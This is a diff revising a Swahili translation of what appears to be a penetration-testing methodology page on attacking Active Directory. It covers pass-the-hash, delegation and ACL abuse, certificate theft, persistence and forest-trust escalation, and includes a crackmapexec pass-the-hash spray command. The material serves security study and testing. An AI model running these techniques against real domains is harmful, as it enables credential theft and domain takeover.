Tuna matumaini umeweza **kudhoofisha akaunti ya admin wa ndani** kwa kutumia [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ikiwa ni pamoja na relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [kuinua haki kwa ndani](../windows-local-privilege-escalation/index.html).\
|
||||
Kisha, ni wakati wa kutupa hash zote kwenye kumbukumbu na ndani.\
|
||||
[**Soma ukurasa huu kuhusu njia tofauti za kupata hash.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
@ -247,7 +247,7 @@ Unahitaji kutumia **chombo** ambacho kitafanya **uthibitisho wa NTLM kwa kutumia
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Shambulizi hili linakusudia **kutumia hash ya mtumiaji wa NTLM kuomba tiketi za Kerberos**, kama mbadala wa kawaida ya Pass The Hash juu ya itifaki ya NTLM. Hivyo, hii inaweza kuwa hasa **faida katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitisho.
|
||||
Shambulizi hili linakusudia **kutumia hash ya mtumiaji wa NTLM kuomba tiketi za Kerberos**, kama mbadala wa kawaida ya Pass The Hash kupitia itifaki ya NTLM. Hivyo, hii inaweza kuwa hasa **faida katika mitandao ambapo itifaki ya NTLM imezimwa** na tu **Kerberos inaruhusiwa** kama itifaki ya uthibitisho.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -263,7 +263,7 @@ pass-the-ticket.md
|
||||
|
||||
### Credentials Reuse
|
||||
|
||||
Ikiwa una **hash** au **nenosiri** la **msimamizi wa ndani** unapaswa kujaribu **kuingia kwa ndani** kwenye **PC nyingine** kwa kutumia hiyo.
|
||||
Ikiwa una **hash** au **nenosiri** la **meneja wa ndani** unapaswa kujaribu **kuingia kwa ndani** kwenye **PC nyingine** kwa kutumia hiyo.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
@ -275,8 +275,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Ikiwa mtumiaji ana mamlaka ya **kufikia mifano ya MSSQL**, anaweza kuwa na uwezo wa kuitumia **kutekeleza amri** kwenye mwenyeji wa MSSQL (ikiwa inafanya kazi kama SA), **kuiba** NetNTLM **hash** au hata kufanya **shambulio la relay**.\
|
||||
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, atakuwa na uwezo wa **kutumia uhusiano wa kuaminiana kutekeleza maswali pia kwenye mfano mwingine**. Uaminifu huu unaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.\
|
||||
**Viungo kati ya databases vinafanya kazi hata katika uaminifu wa msitu.**
|
||||
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, atakuwa na uwezo wa **kutumia uhusiano wa kuaminiana kutekeleza maswali pia kwenye mfano mwingine**. Uhusiano huu unaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.\
|
||||
**Viungo kati ya databases vinafanya kazi hata katika uhusiano wa msitu.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -285,8 +285,8 @@ abusing-ad-mssql.md
|
||||
### Unconstrained Delegation
|
||||
|
||||
Ikiwa unapata kitu chochote cha Kompyuta chenye sifa [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) na una mamlaka ya kikoa kwenye kompyuta, utaweza kutoa TGTs kutoka kwenye kumbukumbu ya kila mtumiaji anayeingia kwenye kompyuta.\
|
||||
Hivyo, ikiwa **Msimamizi wa Kikoa anaingia kwenye kompyuta**, utaweza kutoa TGT yake na kumwakilisha akitumia [Pass the Ticket](pass-the-ticket.md).\
|
||||
Shukrani kwa uwakilishi wa kizuizi unaweza hata **kuathiri kiotomatiki Server ya Print** (tunatumai itakuwa DC).
|
||||
Hivyo, ikiwa **Msimamizi wa Kikoa anaingia kwenye kompyuta**, utaweza kutoa TGT yake na kumwakilisha kwa kutumia [Pass the Ticket](pass-the-ticket.md).\
|
||||
Shukrani kwa uwakilishi wa kizuizi unaweza hata **kuharibu Print Server** kiotomatiki (tunatumai itakuwa DC).
|
||||
|
||||
{{#ref}}
|
||||
unconstrained-delegation.md
|
||||
@ -295,7 +295,7 @@ unconstrained-delegation.md
|
||||
### Constrained Delegation
|
||||
|
||||
Ikiwa mtumiaji au kompyuta inaruhusiwa kwa "Constrained Delegation" itakuwa na uwezo wa **kumwakilisha mtumiaji yeyote ili kufikia huduma fulani kwenye kompyuta**.\
|
||||
Kisha, ikiwa **utavunja hash** ya mtumiaji/hii kompyuta utaweza **kumwakilisha mtumiaji yeyote** (hata wasimamizi wa kikoa) ili kufikia huduma fulani.
|
||||
Kisha, ikiwa **utaharibu hash** ya mtumiaji/hii kompyuta utaweza **kumwakilisha mtumiaji yeyote** (hata wasimamizi wa kikoa) ili kufikia huduma fulani.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### ACLs Abuse
|
||||
|
||||
Mtumiaji aliyeathiriwa anaweza kuwa na **mamlaka za kuvutia juu ya baadhi ya vitu vya kikoa** ambavyo vinaweza kukuruhusu **kuhamasisha** kwa upande/**kuinua** mamlaka.
|
||||
Mtumiaji aliyeathirika anaweza kuwa na **mamlaka za kuvutia juu ya baadhi ya vitu vya kikoa** ambavyo vinaweza kukuruhusu **kuhamasisha** kwa upande/**kuinua** mamlaka.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Third party sessions abuse
|
||||
|
||||
Ikiwa **watumiaji wengine** **wanapata** mashine **iliyoathiriwa**, inawezekana **kukusanya akidi kutoka kwenye kumbukumbu** na hata **kuingiza beacon katika michakato yao** ili kuwawakilisha.\
|
||||
Ikiwa **watumiaji wengine** **wanapata** mashine **iliyoathirika**, inawezekana **kukusanya akidi kutoka kwenye kumbukumbu** na hata **kuingiza beacon katika michakato yao** ili kuwawakilisha.\
|
||||
Kawaida watumiaji wataingia kwenye mfumo kupitia RDP, hivyo hapa kuna jinsi ya kufanya mashambulizi kadhaa juu ya vikao vya RDP vya wahusika wengine:
|
||||
|
||||
{{#ref}}
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
**Kukusanya vyeti** kutoka kwenye mashine iliyoathiriwa inaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
|
||||
**Kukusanya vyeti** kutoka kwenye mashine iliyoathirika inaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
Ikiwa **mipango ya hatari** imewekwa inawezekana kuitumia vibaya ili kuinua mamlaka:
|
||||
Ikiwa **mipangilio ya template** iliyo hatarini imewekwa, inawezekana kuitumia vibaya ili kuinua mamlaka:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**Kutumia vyeti pia kunawezekana kudumu na mamlaka ya juu ndani ya kikoa:**
|
||||
**Kutumia vyeti pia kunawezekana kudumu kwa mamlaka ya juu ndani ya kikoa:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
Kitu cha **AdminSDHolder** katika Active Directory kinahakikisha usalama wa **makundi yenye mamlaka** (kama Wasimamizi wa Kikoa na Wasimamizi wa Biashara) kwa kutumia **Orodha ya Udhibiti wa Ufikiaji (ACL)** ya kawaida kati ya makundi haya ili kuzuia mabadiliko yasiyoidhinishwa. Hata hivyo, kipengele hiki kinaweza kutumika vibaya; ikiwa mshambuliaji atabadilisha ACL ya AdminSDHolder ili kutoa ufikiaji kamili kwa mtumiaji wa kawaida, mtumiaji huyo anapata udhibiti mkubwa juu ya makundi yote yenye mamlaka. Kipimo hiki cha usalama, kilichokusudiwa kulinda, kinaweza hivyo kurudi nyuma, kuruhusu ufikiaji usiofaa isipokuwa ufuatiliwe kwa karibu.
|
||||
Kitu cha **AdminSDHolder** katika Active Directory kinahakikisha usalama wa **makundi yenye mamlaka** (kama Wasimamizi wa Kikoa na Wasimamizi wa Biashara) kwa kutumia **Orodha ya Udhibiti wa Ufikiaji (ACL)** ya kawaida kati ya makundi haya ili kuzuia mabadiliko yasiyoidhinishwa. Hata hivyo, kipengele hiki kinaweza kutumika vibaya; ikiwa mshambuliaji atabadilisha ACL ya AdminSDHolder ili kutoa ufikiaji kamili kwa mtumiaji wa kawaida, mtumiaji huyo atapata udhibiti mkubwa juu ya makundi yote yenye mamlaka. Kipimo hiki cha usalama, kilichokusudiwa kulinda, kinaweza hivyo kurudi nyuma, kuruhusu ufikiaji usiofaa isipokuwa kifuatachokifuatiliwe kwa karibu.
|
||||
|
||||
[**Taarifa zaidi kuhusu Kundi la AdminDSHolder hapa.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
Ndani ya kila **Msimamizi wa Kikoa (DC)**, kuna akaunti ya **msimamizi wa ndani**. Kwa kupata haki za usimamizi kwenye mashine kama hiyo, hash ya Msimamizi wa ndani inaweza kutolewa kwa kutumia **mimikatz**. Baada ya hapo, mabadiliko ya rejista yanahitajika ili **kuwezesha matumizi ya nenosiri hili**, kuruhusu ufikiaji wa mbali kwa akaunti ya Msimamizi wa ndani.
|
||||
Ndani ya kila **Msimamizi wa Kikoa (DC)**, akaunti ya **msimamizi wa ndani** inapatikana. Kwa kupata haki za admin kwenye mashine kama hiyo, hash ya Msimamizi wa ndani inaweza kutolewa kwa kutumia **mimikatz**. Baada ya hapo, mabadiliko ya rejista yanahitajika ili **kuwezesha matumizi ya nenosiri hili**, kuruhusu ufikiaji wa mbali kwa akaunti ya Msimamizi wa ndani.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia juu ya kitu hicho bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
|
||||
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia juu ya hicho kitu bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -491,7 +491,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
Kabla tulizungumzia jinsi ya kuinua mamlaka ikiwa una **ruhusa ya kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika **kuhifadhi kudumu**.\
|
||||
Kabla tumekuwa tukizungumza kuhusu jinsi ya kuinua mamlaka ikiwa una **ruhusa ya kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika ili **kuhifadhi kudumu**.\
|
||||
Angalia:
|
||||
|
||||
{{#ref}}
|
||||
@ -500,54 +500,54 @@ laps.md
|
||||
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
|
||||
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuathiri kikoa kimoja kunaweza kusababisha msitu mzima kuathiriwa**.
|
||||
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuharibu kikoa kimoja kunaweza kusababisha msitu mzima kuathirika**.
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**Uaminifu wa kikoa**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kwenye **kikoa** moja kufikia rasilimali katika **kikoa** kingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya vikundi viwili, ikiruhusu uthibitishaji kuhamasika bila shida. Wakati vikundi vinapoweka uaminifu, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wao wa Kikoa (DCs)**, ambazo ni muhimu kwa uaminifu wa uhusiano.
|
||||
[**Uhusiano wa kikoa**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kikoa kimoja kufikia rasilimali katika kikoa kingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya kikoa viwili, ikiruhusu uthibitishaji kuhamasika bila matatizo. Wakati makundi yanaanzisha uhusiano wa kuaminiana, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wao wa Kikoa (DCs)**, ambazo ni muhimu kwa uaminifu wa uhusiano huo.
|
||||
|
||||
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **kikoa kilichoaminika**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka kwa DC ya kikoa chake mwenyewe. Hii TGT imefungwa kwa **funguo** iliyoshirikiwa ambayo vikundi vyote viwili vimekubaliana. Mtumiaji kisha anawasilisha TGT hii kwa **DC ya kikoa kilichoaminika** ili kupata tiketi ya huduma (**TGS**). Baada ya uthibitishaji wa mafanikio wa inter-realm TGT na DC ya kikoa kilichoaminika, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
|
||||
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **kikoa kilichoaminika**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka kwa DC ya kikoa chake mwenyewe. TGT hii imefungwa kwa **funguo** iliyoshirikiwa ambayo makundi yote mawili yamekubaliana. Mtumiaji kisha anawasilisha TGT hii kwa **DC ya kikoa kilichoaminika** ili kupata tiketi ya huduma (**TGS**). Baada ya uthibitishaji wa mafanikio wa inter-realm TGT na DC ya kikoa kilichoaminika, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
|
||||
|
||||
**Hatua**:
|
||||
|
||||
1. **Kompyuta ya mteja** katika **Kikoa 1** inaanza mchakato kwa kutumia **hash ya NTLM** kuomba **Tiketi ya Kutoa Tiketi (TGT)** kutoka kwa **Msimamizi wake wa Kikoa (DC1)**.
|
||||
2. DC1 inatoa TGT mpya ikiwa mteja amethibitishwa kwa mafanikio.
|
||||
2. DC1 inatoa TGT mpya ikiwa mteja ameidhinishwa kwa mafanikio.
|
||||
3. Mteja kisha anaomba **inter-realm TGT** kutoka DC1, ambayo inahitajika kufikia rasilimali katika **Kikoa 2**.
|
||||
4. Inter-realm TGT imefungwa kwa **funguo ya uaminifu** iliyoshirikiwa kati ya DC1 na DC2 kama sehemu ya uaminifu wa kikoa wa pande mbili.
|
||||
4. Inter-realm TGT imefungwa kwa **funguo ya kuaminiana** iliyoshirikiwa kati ya DC1 na DC2 kama sehemu ya uhusiano wa kuaminiana wa pande mbili.
|
||||
5. Mteja anachukua inter-realm TGT kwa **Msimamizi wa Kikoa 2 (DC2)**.
|
||||
6. DC2 inathibitisha inter-realm TGT kwa kutumia funguo yake ya uaminifu iliyoshirikiwa na, ikiwa ni halali, inatoa **Huduma ya Kutoa Tiketi (TGS)** kwa seva katika Kikoa 2 ambayo mteja anataka kufikia.
|
||||
6. DC2 inathibitisha inter-realm TGT kwa kutumia funguo yake ya kuaminiana iliyoshirikiwa na, ikiwa ni halali, inatoa **Huduma ya Kutoa Tiketi (TGS)** kwa seva katika Kikoa 2 ambayo mteja anataka kufikia.
|
||||
7. Hatimaye, mteja anawasilisha TGS hii kwa seva, ambayo imefungwa kwa hash ya akaunti ya seva, ili kupata ufikiaji wa huduma katika Kikoa 2.
|
||||
|
||||
### Different trusts
|
||||
|
||||
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo la njia 2, vikundi vyote viwili vitakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya vikundi itakuwa **imeaminika** na nyingine itakuwa **inayoaminika**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya kikoa kinachoaminika kutoka kwa kikoa kilichoaminika**.
|
||||
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo za njia 2, makundi yote mawili yatakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya makundi itakuwa **ya kuaminika** na nyingine itakuwa **ya kuamini**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya kikoa kinachouamini kutoka kwa kile kilichoaminika**.
|
||||
|
||||
Ikiwa Kikoa A kinatumia Kikoa B, A ni kikoa kinachoaminika na B ni kikoa kilichoaminika. Aidha, katika **Kikoa A**, hii itakuwa **uaminifu wa nje**; na katika **Kikoa B**, hii itakuwa **uaminifu wa ndani**.
|
||||
Ikiwa Kikoa A kinauamini Kikoa B, A ni kikoa kinachouamini na B ni kikoa kilichoaminika. Aidha, katika **Kikoa A**, hii itakuwa **uaminifu wa nje**; na katika **Kikoa B**, hii itakuwa **uaminifu wa ndani**.
|
||||
|
||||
**Uhusiano tofauti wa uaminifu**
|
||||
**Uhusiano tofauti wa kuamini**
|
||||
|
||||
- **Uaminifu wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo kikoa cha mtoto kwa otomatiki kina uaminifu wa pande mbili na kikoa chake cha mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila shida kati ya mzazi na mtoto.
|
||||
- **Uaminifu wa Msalaba**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya vikundi vya watoto ili kuharakisha michakato ya rufaa. Katika misitu ngumu, rufaa za uthibitishaji kawaida zinahitaji kusafiri hadi mzizi wa msitu na kisha kushuka hadi kikoa lengwa. Kwa kuunda uhusiano wa msalaba, safari inakuwa fupi, ambayo ni faida hasa katika mazingira yaliyosambazwa kijiografia.
|
||||
- **Uaminifu wa Nje**: Hizi zimeanzishwa kati ya vikundi tofauti, visivyo na uhusiano na ni zisizo za kupitisha kwa asili. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uaminifu wa nje ni muhimu kwa kufikia rasilimali katika kikoa kilicho nje ya msitu wa sasa ambacho hakijashikamana na uaminifu wa msitu. Usalama unaboreshwa kupitia kuchuja SID na uaminifu wa nje.
|
||||
- **Uaminifu wa Mti-Mzizi**: Uaminifu huu huanzishwa kwa otomatiki kati ya kikoa cha mzizi wa msitu na mti mpya ulioongezwa. Ingawa si kawaida kukutana, uaminifu wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya kikoa kwenye msitu, ikiruhusu kudumisha jina la kipekee la kikoa na kuhakikisha kupitisha kwa pande mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Uaminifu wa Msitu**: Aina hii ya uaminifu ni uaminifu wa pande mbili wa kupitisha kati ya vikundi viwili vya mzizi wa msitu, pia ikilazimisha kuchuja SID ili kuimarisha hatua za usalama.
|
||||
- **Uaminifu wa MIT**: Uaminifu huu umeanzishwa na vikundi vya Kerberos visivyo vya Windows, [RFC4120-inavyokubalika](https://tools.ietf.org/html/rfc4120). Uaminifu wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
|
||||
- **Uhusiano wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo kikoa cha mtoto kiotomatiki kina uhusiano wa kuaminiana wa njia mbili na kikoa chake cha mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila matatizo kati ya mzazi na mtoto.
|
||||
- **Uhusiano wa Msalaba**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya makundi ya watoto ili kuharakisha michakato ya rufaa. Katika misitu ngumu, rufaa za uthibitishaji kawaida zinahitaji kusafiri hadi mzizi wa msitu na kisha kushuka hadi kikoa lengwa. Kwa kuunda viungo vya msalaba, safari inakuwa fupi, ambayo ni muhimu hasa katika mazingira yaliyosambazwa kijiografia.
|
||||
- **Uhusiano wa Nje**: Hizi zimeanzishwa kati ya makundi tofauti, yasiyo na uhusiano na ni zisizo za kupitisha kwa asili. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uhusiano wa nje ni muhimu kwa kufikia rasilimali katika kikoa kilichoko nje ya msitu wa sasa ambacho hakijashikamana na uhusiano wa msitu. Usalama unaboreshwa kupitia kuchuja SID na uhusiano wa nje.
|
||||
- **Uhusiano wa Mti-Mzizi**: Uhusiano huu huanzishwa kiotomatiki kati ya kikoa cha mzizi wa msitu na mti mpya ulioongezwa. Ingawa si kawaida kukutana, uhusiano wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya kikoa kwenye msitu, ikiruhusu kudumisha jina la kipekee la kikoa na kuhakikisha kupitisha kwa njia mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Uhusiano wa Msitu**: Aina hii ya uhusiano ni uhusiano wa kuaminiana wa njia mbili kati ya makundi mawili ya mzizi wa msitu, pia ikilazimisha kuchuja SID ili kuimarisha hatua za usalama.
|
||||
- **Uhusiano wa MIT**: Hizi zimeanzishwa na makundi yasiyo ya Windows, [RFC4120-inayokubalika](https://tools.ietf.org/html/rfc4120) Kerberos. Uhusiano wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
|
||||
|
||||
#### Tofauti nyingine katika **uhusiano wa uaminifu**
|
||||
#### Tofauti nyingine katika **uhusiano wa kuamini**
|
||||
|
||||
- Uhusiano wa uaminifu unaweza pia kuwa **wa kupitisha** (A inatumia B, B inatumia C, kisha A inatumia C) au **usio wa kupitisha**.
|
||||
- Uhusiano wa uaminifu unaweza kuwekwa kama **uaminifu wa pande mbili** (vyote vinajiamini) au kama **uaminifu wa njia moja** (moja tu inajiamini nyingine).
|
||||
- Uhusiano wa kuamini unaweza pia kuwa **wa kupitisha** (A inauamini B, B inauamini C, basi A inauamini C) au **usio wa kupitisha**.
|
||||
- Uhusiano wa kuamini unaweza kuanzishwa kama **uaminifu wa pande mbili** (zote zinauamini kila mmoja) au kama **uaminifu wa njia moja** (moja tu inauamini nyingine).
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **Tathmini** uhusiano wa uaminifu
|
||||
2. Angalia ikiwa **kiongozi wa usalama** (mtumiaji/kundi/kompyuta) ana **ufikiaji** wa rasilimali za **kikoa kingine**, labda kwa njia ya entries za ACE au kwa kuwa katika makundi ya kikoa kingine. Angalia **uhusiano kati ya vikundi** (uaminifu ulianzishwa kwa hili labda).
|
||||
1. **Tathmini** uhusiano wa kuamini
|
||||
2. Angalia ikiwa **kiongozi wa usalama** (mtumiaji/kundi/kompyuta) ana **ufikiaji** wa rasilimali za **kikoa kingine**, labda kwa njia ya entries za ACE au kwa kuwa katika makundi ya kikoa kingine. Angalia **uhusiano kati ya makundi** (uaminifu ulianzishwa kwa hili labda).
|
||||
1. kerberoast katika kesi hii inaweza kuwa chaguo lingine.
|
||||
3. **Athiri** **akaunti** ambazo zinaweza **kuhamasisha** kati ya vikundi.
|
||||
3. **Haribu** **akaunti** ambazo zinaweza **kuhamasisha** kupitia makundi.
|
||||
|
||||
Wavamizi wanaweza kufikia rasilimali katika kikoa kingine kupitia mitambo mitatu kuu:
|
||||
|
||||
- **Uanachama wa Kundi la Mitaa**: Viongozi wanaweza kuongezwa kwenye makundi ya ndani kwenye mashine, kama kundi la "Wasimamizi" kwenye seva, wakitoa udhibiti mkubwa juu ya mashine hiyo.
|
||||
- **Uanachama wa Kundi la Mitaa**: Viongozi wanaweza kuongezwa kwenye makundi ya mitaa kwenye mashine, kama kundi la "Wasimamizi" kwenye seva, wakitoa udhibiti mkubwa juu ya mashine hiyo.
|
||||
- **Uanachama wa Kundi la Kikoa la Kigeni**: Viongozi pia wanaweza kuwa wanachama wa makundi ndani ya kikoa cha kigeni. Hata hivyo, ufanisi wa mbinu hii unategemea asili ya uaminifu na upeo wa kundi.
|
||||
- **Orodha za Udhibiti wa Ufikiaji (ACLs)**: Viongozi wanaweza kutajwa katika **ACL**, hasa kama viumbe katika **ACEs** ndani ya **DACL**, wakitoa ufikiaji kwa rasilimali maalum. Kwa wale wanaotaka kuingia kwa undani zaidi katika mitambo ya ACLs, DACLs, na ACEs, karatasi ya nyeupe iliyoitwa “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” ni rasilimali muhimu.
|
||||
|
||||
@ -582,31 +582,31 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit writeable Configuration NC
|
||||
|
||||
Kuelewa jinsi Configuration Naming Context (NC) inavyoweza kutumika ni muhimu. Configuration NC inatumika kama hazina kuu ya data za usanidi katika msitu wa Active Directory (AD). Data hii inakopwa kwa kila Domain Controller (DC) ndani ya msitu, huku DC zinazoweza kuandikwa zikihifadhi nakala inayoweza kuandikwa ya Configuration NC. Ili kutumia hili, mtu lazima awe na **privileges za SYSTEM kwenye DC**, bora iwe DC ya mtoto.
|
||||
Kuelewa jinsi Configuration Naming Context (NC) inavyoweza kutumika ni muhimu. Configuration NC inatumika kama hazina kuu ya data za usanidi katika msitu wa Active Directory (AD). Data hii inakopwa kwa kila Domain Controller (DC) ndani ya msitu, huku DC zinazoweza kuandikwa zikihifadhi nakala inayoweza kuandikwa ya Configuration NC. Ili kutumia hili, mtu lazima awe na **haki za SYSTEM kwenye DC**, bora iwe ni DC ya mtoto.
|
||||
|
||||
**Link GPO to root DC site**
|
||||
|
||||
Konteina za Sites za Configuration NC zinajumuisha taarifa kuhusu tovuti za kompyuta zote zilizounganishwa na eneo ndani ya msitu wa AD. Kwa kufanya kazi na privileges za SYSTEM kwenye DC yoyote, washambuliaji wanaweza kuunganisha GPOs kwenye tovuti za root DC. Kitendo hiki kinaweza kuhatarisha eneo la mzazi kwa kubadilisha sera zinazotumika kwenye tovuti hizi.
|
||||
Konteina ya Sites ya Configuration NC inajumuisha taarifa kuhusu tovuti za kompyuta zote zilizounganishwa na eneo ndani ya msitu wa AD. Kwa kufanya kazi na haki za SYSTEM kwenye DC yoyote, washambuliaji wanaweza kuunganisha GPOs kwenye tovuti za root DC. Kitendo hiki kinaweza kuathiri eneo la mzazi kwa kubadilisha sera zinazotumika kwenye tovuti hizi.
|
||||
|
||||
Kwa taarifa za kina, mtu anaweza kuchunguza utafiti kuhusu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Compromise any gMSA in the forest**
|
||||
|
||||
Njia ya shambulio inahusisha kulenga gMSAs zenye mamlaka ndani ya eneo. Funguo ya KDS Root, muhimu kwa kuhesabu nywila za gMSAs, inahifadhiwa ndani ya Configuration NC. Kwa kuwa na privileges za SYSTEM kwenye DC yoyote, inawezekana kufikia funguo ya KDS Root na kuhesabu nywila za gMSA yoyote ndani ya msitu.
|
||||
Njia ya shambulio inahusisha kulenga gMSAs zenye mamlaka ndani ya eneo. Funguo ya KDS Root, muhimu kwa kuhesabu nywila za gMSAs, inahifadhiwa ndani ya Configuration NC. Kwa kuwa na haki za SYSTEM kwenye DC yoyote, inawezekana kufikia funguo ya KDS Root na kuhesabu nywila za gMSA yoyote ndani ya msitu.
|
||||
|
||||
Uchambuzi wa kina unaweza kupatikana katika majadiliano kuhusu [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Schema change attack**
|
||||
|
||||
